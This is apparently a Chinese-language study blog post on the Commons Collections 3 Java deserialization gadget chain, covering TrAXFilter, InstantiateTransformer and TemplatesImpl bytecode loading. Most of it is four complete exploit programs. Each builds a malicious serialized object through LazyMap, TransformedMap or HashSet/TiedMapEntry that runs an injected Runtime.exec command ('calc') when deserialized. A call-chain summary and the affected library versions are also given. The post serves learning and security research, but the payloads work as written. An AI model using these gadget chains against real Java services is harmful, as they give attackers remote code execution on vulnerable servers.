cc链3

CC3就是将CC1调⽤链和动态加载字节码加在⼀起

中间寻找了其他的触发 newTransformer 的实现方式。

所以自己先想想怎么构造的,c2链就用到了InvocationHandler来使用newTransformer方法的

前置知识

TrAXFilter

在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();//初始化
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

我们当然可以像c2链一样可以使用 InvokerTransformer反射拿到Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。

InstantiateTransformer

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
...
}
...
}

3.2.2之后序列化需要属性Dproperty=true

lazymap

其实就用了cc1链的前面部分和动态加载字节码那部分加起来了所以直接自己尝试写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("baicany");
pool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classbyte = cc.toBytecode();
byte[][] code = new byte[][]{classbyte};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl, "_name", "baicany");
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(impl),
new InvokerTransformer("newTransformer",null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();

Map lazymap = LazyMap.decorate(hashMap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handler_constructor.newInstance(Target.class,lazymap);
Map map =(Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},handler);
InvocationHandler a = (InvocationHandler) handler_constructor.newInstance(Target.class, map);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
outputStream.writeObject(a);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
inputStream.readObject();
inputStream.close();

} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value) throws
Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField ( final Class<?> clazz, final String fieldName){
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

也没什么新知识点就直接写,该处理的细节处理好就行了

TransformedMap

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("baicany");
pool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classbyte = cc.toBytecode();
byte[][] code = new byte[][]{classbyte};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl, "_name", "baicany");
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(impl),
new InvokerTransformer("newTransformer",null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value",2);
Map transformedmap = TransformedMap.decorate(hashMap,null, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handler_constructor.newInstance(Target.class,transformedmap);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
inputStream.readObject();
inputStream.close();

} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value) throws
Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField ( final Class<?> clazz, final String fieldName){
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

无他,唯手熟尔,不行就cv慢慢看吧

HashSet

但是这样肯定有版本限制8u71就不行了,前面学了c6链想想,我该怎么办

对头,还是只需要该transform那部分就行了,这样就通杀3.1-3.2.1版本了,直接写,但其实c6链就够简洁了吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("baicany");
pool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classbyte = cc.toBytecode();
byte[][] code = new byte[][]{classbyte};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl, "_name", "baicany");
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(impl),
new InvokerTransformer("newTransformer",null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
ChainedTransformer fuck = new ChainedTransformer(new Transformer[]{});
HashMap hashmap = new HashMap();
Map lazyMap = LazyMap.decorate(hashmap,fuck);
TiedMapEntry entry = new TiedMapEntry(lazyMap,"baicany");
HashSet hashSet = new HashSet();
hashSet.add(entry);
Field f=lazyMap.getClass().getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap,chain);
lazyMap.clear();
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
outputStream.writeObject(hashSet);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
inputStream.readObject();
inputStream.close();

} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value) throws
Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField ( final Class<?> clazz, final String fieldName){
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

还是那句话处理好细节

就当熟悉以前的链子吧

InstantiateTransformer

安照前提知识,其实就知道很搞了,主要部分写出来就行了,按照这个也能弄把上面搞了,主要用InstantiateTransformer类来获取TrAXFilter类的getConstructor获取构造器再实例化就行了,来看看InstantiateTransformer怎么用吧,就得先看他的构造方法吧,有2个,肯定用public了呀还不用反射

1
2
3
4
5
6
7
8
9
10
private InstantiateTransformer() {
super();
iParamTypes = null;
iArgs = null;
}
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

来看看利用点transform

1
2
3
4
5
6
7
8
9
   public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes)
return con.newInstance(iArgs);

发现iArgs是我们需要传入初始化变量,而iParamTypes是参数类型,所以上面input直接为TrAXFilter.class就行了,而且构造方法不能要所以直接看TrAXFilter的构造方法 只有这一个

1
2
3
4
5
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();

所以这里iArges变量就是Templates的一个对象,想要利用就用impl那个类

所以transform就出来了

1
InstantiateTransformer transformer = new InstantiateTransformer(new class[]{Templates.class},new Object{impl})

所以用c1的怎么都行,重点是怎么把input参数传进去的
只是改了Transform那个的变量就行了,比起c1链不如用c6链的,java8也能用,但是思考一下不能类的条件会发生什么呢,想了想就在input上了,后面进入链子的区别呢

先看Layzmap吧怎么进入的吧

1
factory.transform(key)

这里传入的key就是input,就看之前怎么传入的如果是AnnotationInvocationHandler类,其实起一次key因为要触发invoke进来怎么这个key都是entryset(),自己想想写了这么久的c1链了是不是 ,所以想用怎么都是 用到那个chain链了,这样才能串一起

那hashset呢,来看看里面TiedMapEntry类怎么触发lazymap的get方法的

1
return map.get(key);

发现传入值key其实是TiedMapEntry的key,所以可以不用chain类那样了,只用一个InstantiateTransformer类就行把这里的key设置为TrAXFilter.class就行了,其实这个也没必要,emmm,应要说就是减少点代码量了.思考的时候突然想到了

所以初始化TiedMapEntry可以变变,

1
TiedMapEntry enrty = new TiedMapEntry(map,TrAXFilter.class))

那TransformedMap呢可以怎么变呢?也可以控制嘛?我有答案呢其实这个都不重要

所以直接写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


public class CC3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("baicany");
pool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classbyte = cc.toBytecode();
byte[][] code = new byte[][]{classbyte};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl, "_name", "baicany");
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_class", null);
InstantiateTransformer transformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{impl});
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
HashSet set = new HashSet();
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap,fakeChain);
TiedMapEntry entry = new TiedMapEntry(map,TrAXFilter.class);
set.add(entry);
Field f = map.getClass().getDeclaredField("factory");
f.setAccessible(true);
f.set(map,transformer);
map.clear();
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
outputStream.writeObject(set);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
inputStream.readObject();
inputStream.close();

} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value) throws
Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField ( final Class<?> clazz, final String fieldName){
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

思考了为什么不能用其他方法来动态加载类,用c1链方法的思路都差不多所以不写了

利用链

1
2
3
4
5
6
7
8
9
HashSet.readObject()->
HashMap.put()->
HashMap.putVal->
TiedMapEntry.hashcode()->
TiedMapEntry.getValue()->
Lazymap.get()->
InstantiateTransformer.transformer()->
TrAXFilter.TrAXFilter()->
TemplatesImpl->....

依赖版本

commons-collections : 3.1~3.2.1